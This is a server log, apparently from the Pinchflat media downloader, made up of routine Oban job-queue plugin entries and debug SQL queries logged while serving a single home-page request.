{"source":"oban","duration":662,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:14.050 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:44.054 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.197 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:14.056 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:44.059 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.198 [info] {"source":"oban","duration":508,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:14.064 [info] {"source":"oban","duration":4034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:44.066 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.199 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:14.069 [info] {"source":"oban","duration":2176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:44.071 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.203 [info] {"source":"oban","duration":3844,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:14.074 [info] {"source":"oban","duration":2402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:44.078 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.206 [info] {"source":"oban","duration":889,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:14.080 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:44.082 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.208 [info] {"source":"oban","duration":991,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:14.084 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:44.086 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.210 [info] {"source":"oban","duration":1151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:14.088 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:44.090 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.212 [info] {"source":"oban","duration":1197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:14.093 [info] {"source":"oban","duration":2545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:44.095 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.214 [info] {"source":"oban","duration":782,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:14.099 [info] {"source":"oban","duration":3015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:44.102 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.215 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:14.104 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:44.108 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.217 [info] {"source":"oban","duration":1456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:14.113 [info] {"source":"oban","duration":4756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:44.118 [info] {"source":"oban","duration":3186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.218 [info] {"source":"oban","duration":524,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:14.121 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:44.123 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.219 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:14.127 [info] {"source":"oban","duration":3005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:44.129 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.224 [info] {"source":"oban","duration":4050,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:14.131 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:44.134 [info] {"source":"oban","duration":2690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.225 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:14.136 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:44.139 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.226 [info] {"source":"oban","duration":527,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:14.142 [info] {"source":"oban","duration":2264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:44.144 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.227 [info] {"source":"oban","duration":443,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:14.146 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:44.149 [info] {"source":"oban","duration":2768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.228 [info] {"source":"oban","duration":725,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:14.152 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:44.154 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.230 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:14.156 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:44.159 [info] {"source":"oban","duration":2324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.232 [info] {"source":"oban","duration":661,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:14.161 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:44.163 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.233 [info] {"source":"oban","duration":499,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:14.165 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:44.167 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.235 [info] {"source":"oban","duration":1124,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:14.169 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:44.173 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.236 [info] {"source":"oban","duration":538,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:14.176 [info] {"source":"oban","duration":2602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:44.179 [info] {"source":"oban","duration":2387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.237 [info] {"source":"oban","duration":507,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:14.181 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:44.194 [info] {"source":"oban","duration":12051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.238 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:14.197 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:44.199 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.239 [info] {"source":"oban","duration":552,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:14.203 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:44.206 [info] {"source":"oban","duration":2314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.240 [info] {"source":"oban","duration":733,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:14.210 [info] {"source":"oban","duration":2650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:44.213 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.242 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:14.215 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:44.218 [info] {"source":"oban","duration":2109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.244 [info] {"source":"oban","duration":1419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:14.220 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:44.222 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.246 [info] {"source":"oban","duration":469,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:14.225 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:44.227 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.247 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:14.229 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:44.231 [info] {"source":"oban","duration":1834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.248 [info] {"source":"oban","duration":473,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:14.234 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:44.237 [info] {"source":"oban","duration":2313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.250 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:14.240 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:44.243 [info] {"source":"oban","duration":2435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.251 [info] {"source":"oban","duration":738,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:14.246 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:44.248 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.254 [info] {"source":"oban","duration":892,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:14.250 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:44.252 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.255 [info] {"source":"oban","duration":675,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:14.254 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:44.257 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.257 [info] {"source":"oban","duration":826,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:14.259 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:44.261 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.259 [info] {"source":"oban","duration":529,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:14.263 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:44.267 [info] {"source":"oban","duration":2855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.260 [info] {"source":"oban","duration":581,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:14.272 [info] {"source":"oban","duration":3203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:44.275 [info] {"source":"oban","duration":2155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.262 [info] {"source":"oban","duration":520,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:14.278 [info] {"source":"oban","duration":2429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:44.281 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.263 [info] {"source":"oban","duration":516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:14.284 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:44.287 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.265 [info] {"source":"oban","duration":1224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:14.289 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:44.292 [info] {"source":"oban","duration":1992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.266 [info] {"source":"oban","duration":445,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:14.294 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:44.298 [info] {"source":"oban","duration":2361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.267 [info] {"source":"oban","duration":592,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:14.300 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:44.302 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.268 [info] {"source":"oban","duration":431,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:14.305 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:44.307 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.269 [info] {"source":"oban","duration":739,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:14.310 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:44.316 [info] {"source":"oban","duration":4284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.271 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:14.320 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:44.324 [info] {"source":"oban","duration":3343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.272 [info] {"source":"oban","duration":536,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:14.326 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:44.328 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.274 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:14.330 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:44.332 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.275 [info] {"source":"oban","duration":617,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:14.335 [info] {"source":"oban","duration":2399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:16.054 [info] GET / 12:17:16.055 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 12:17:16.098 [debug] QUERY OK source="settings" db=42.6ms idle=1843.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:17:16.138 [debug] QUERY OK source="media_profiles" db=40.1ms idle=1886.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 12:17:16.140 [debug] QUERY OK source="sources" db=0.8ms queue=0.4ms idle=1905.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 12:17:16.962 [debug] QUERY OK source="media_items" db=821.8ms queue=0.1ms idle=1805.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:17:16.976 [debug] QUERY OK source="media_items" db=13.1ms queue=0.1ms idle=864.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:17:17.321 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1180.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:17:17.323 [debug] QUERY OK source="settings" db=1.1ms idle=1084.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:17:17.403 [debug] QUERY OK source="settings" db=1.5ms queue=0.5ms idle=438.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:17:17.453 [debug] QUERY OK source="tasks" db=16.9ms idle=195.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 12:17:17.541 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=218.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:17:17.543 [debug] QUERY OK source="media_items" db=1.5ms idle=218.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 12:17:17.545 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=141.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:17:17.555 [debug] QUERY OK source="media_items" db=4.6ms idle=146.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 12:17:17.562 [debug] QUERY OK source="media_items" db=5.9ms queue=0.1ms idle=102.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 12:17:17.564 [info] Sent 200 in 1509ms 12:17:44.339 [info] {"source":"oban","duration":2205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.276 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:14.341 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:44.344 [info] {"source":"oban","duration":2440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.277 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:14.349 [info] {"source":"oban","duration":3695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:44.359 [info] {"source":"oban","duration":7899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.278 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:14.363 [info] {"source":"oban","duration":3869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:44.367 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.281 [info] {"source":"oban","duration":2521,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:14.369 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:44.371 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.282 [info] {"source":"oban","duration":526,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:14.374 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:44.376 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.284 [info] {"source":"oban","duration":891,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:14.378 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:44.380 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.285 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:14.382 [info] 